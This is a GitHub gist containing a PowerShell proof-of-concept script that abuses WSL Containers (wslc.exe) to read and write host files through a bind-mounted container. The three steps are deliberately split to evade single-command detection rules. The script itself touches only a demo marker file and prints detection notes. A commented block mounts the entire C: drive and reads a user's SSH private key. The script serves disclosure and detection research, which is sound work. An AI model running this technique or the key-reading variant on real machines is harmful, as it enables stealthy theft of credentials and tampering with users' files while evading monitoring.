Skip to content

Instantly share code, notes, and snippets.

@unrooted
Created July 17, 2026 04:14
Show Gist options
  • Select an option

  • Save unrooted/93e9ffc214a4116955ef17f2da62a491 to your computer and use it in GitHub Desktop.

Select an option

Save unrooted/93e9ffc214a4116955ef17f2da62a491 to your computer and use it in GitHub Desktop.
"PoC" for abuse of WSLC - headless command execution via WSLC
#Requires -Version 5.1
$ErrorActionPreference = 'Stop'
# wslc.exe PoC: arbitrary host file read/write via a bind-mounted container.
#
# wslc.exe (WSL Containers, public preview 2026-06+) runs Linux (OCI) containers.
# A bind mount (-v <host>:<container>) hands the container direct
# read/write access to any host path over virtiofs. From the Windows host, the
# only visible telemetry is wslc.exe itself and that VM's Hyper-V worker - not the
# Linux process tree, and not the files it touches inside the mount.
#
# The abuse signal is SPLIT across three separate wslc.exe invocations so a rule
# looking for "one command line with both a bind mount and a payload" misses it:
# 1) wslc pull ghcr.io/linuxcontainers/alpine:3.20 (registry pull, no mount, no payload)
# 2) wslc run -d --rm -v <hostdir>:<mount> ... sleep N (container up, mount present, no payload)
# 3) wslc exec <container> sh -c "<payload>" (the actual read/write, no mount, no registry ref)
# Each call looks like routine container usage on its own. The container name is the
# join key across steps 2 and 3 - confirm it with `wslc container list`.
#
# BENIGN by design. Only touches a throwaway demo directory: reads back a marker file
# this script planted before the container ever started, and writes a marker file.
# No credential theft, no exfil, no persistence. The point is proving the primitive
# generalizes to ANY host path passed to -v (see the commented block at the bottom) -
# not to actually touch anything sensitive here.
#
# Requirements:
# - Windows 11 with WSL container support (public preview, 2026-06+)
# - wslc.exe / container.exe present under C:\Program Files\WSL
# - Standard user privileges on the host (no admin needed)
# - Outbound access to ghcr.io (or an internal mirror)
$Image = 'ghcr.io/linuxcontainers/alpine:3.20'
$ContainerName = 'wslc-poc'
$ContainerMountPoint = '/mnt/host-poc'
$HostBindDir = Join-Path $env:USERPROFILE 'Desktop\wslc-poc'
$HostMarkerFile = Join-Path $HostBindDir 'marker.txt'
New-Item -ItemType Directory -Path $HostBindDir -Force | Out-Null
"pre-existing host file, planted before the container ever started" |
Out-File -FilePath $HostMarkerFile -Encoding UTF8 -Force
# =============================================================================
# Step 1: pull the image from an external registry (GHCR), on its own.
# -----------------------------------------------------------------------------
# No bind mount, no payload in this command line - just an image pull. Detection
# rules that only look for "-v C:\... plus a shell payload" won't fire here.
# =============================================================================
Write-Host "Step 1: pulling $Image from GHCR" -ForegroundColor Cyan
wslc pull $Image
# =============================================================================
# Step 2: start a long-lived container with ONLY the bind mount, no payload.
# -----------------------------------------------------------------------------
# `sleep 3600` isn't the abuse - it just keeps the container alive so a later,
# separate `wslc exec` call can decide what to actually do with the mount. This
# command line carries the host-path exposure but nothing that looks like an
# attack yet.
# =============================================================================
Write-Host "Step 2: starting persistent container '$ContainerName' with a host bind mount" -ForegroundColor Cyan
wslc run -d --rm -v "${HostBindDir}:${ContainerMountPoint}" --name $ContainerName $Image sleep 3600
Start-Sleep -Seconds 2
Write-Host ' confirm via: wslc container list' -ForegroundColor DarkGray
# =============================================================================
# Step 3: exec the read/write payload - decided after the container is already up.
# -----------------------------------------------------------------------------
# This command line has no `-v`, no registry reference, nothing that looks like
# a mount grant - just a shell command against an already-running container name.
# =============================================================================
$payload = "echo '--- read-back of pre-existing host file ---'; cat $ContainerMountPoint/marker.txt; " +
"echo `"wslc.exe PoC reached host filesystem at `$(date)`" > $ContainerMountPoint/marker.txt"
Write-Host 'Step 3: executing read/write payload against the running container' -ForegroundColor Cyan
wslc exec $ContainerName sh -c $payload
Write-Host ''
Write-Host 'Check on host:' -ForegroundColor Yellow
Write-Host " $HostMarkerFile"
Write-Host ''
Write-Host 'Detection notes:' -ForegroundColor Yellow
Write-Host ' - Step 1 CLI: wslc.exe pull ghcr.io/... (external registry ingress, no mount)'
Write-Host ' - Step 2 CLI: wslc.exe run -d --rm -v <hostdir>:<mount> ... sleep N (mount, no payload)'
Write-Host ' - Step 3 CLI: wslc.exe exec <name> sh -c "..." (payload, no mount, no registry ref)'
Write-Host " - Correlation key: container name/id ('$ContainerName') joins steps 2 and 3 -"
Write-Host ' confirm with `wslc container list` or `wslc system session list`.'
Write-Host ' - Host-side file writes under the bind mount attribute to the WSL VM worker'
Write-Host " (vmwp.exe, rendered as Vmmemwslc-cli-<user> in Task Manager) over virtiofs -"
Write-Host ' not to wslc.exe or any visible Linux process.'
Write-Host ''
Write-Host 'Cleanup:'
Write-Host " wslc container stop $ContainerName"
Write-Host " Remove-Item -Recurse -Force '$HostBindDir'"
# =============================================================================
# Arbitrary-path variant, for reference only - DO NOT enable:
# -----------------------------------------------------------------------------
# -v accepts any host path, not just the demo directory above. Swapping the
# mount source is the entire difference between this benign PoC and reading or
# tampering with real user data (SSH keys, browser profiles, credential stores,
# an entire drive):
#
# wslc run -d --rm -v C:\:/mnt/c --name wslc-poc <image> sleep 3600
# wslc exec wslc-poc sh -c "cat /mnt/c/Users/<user>/.ssh/id_rsa"
#
# =============================================================================
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment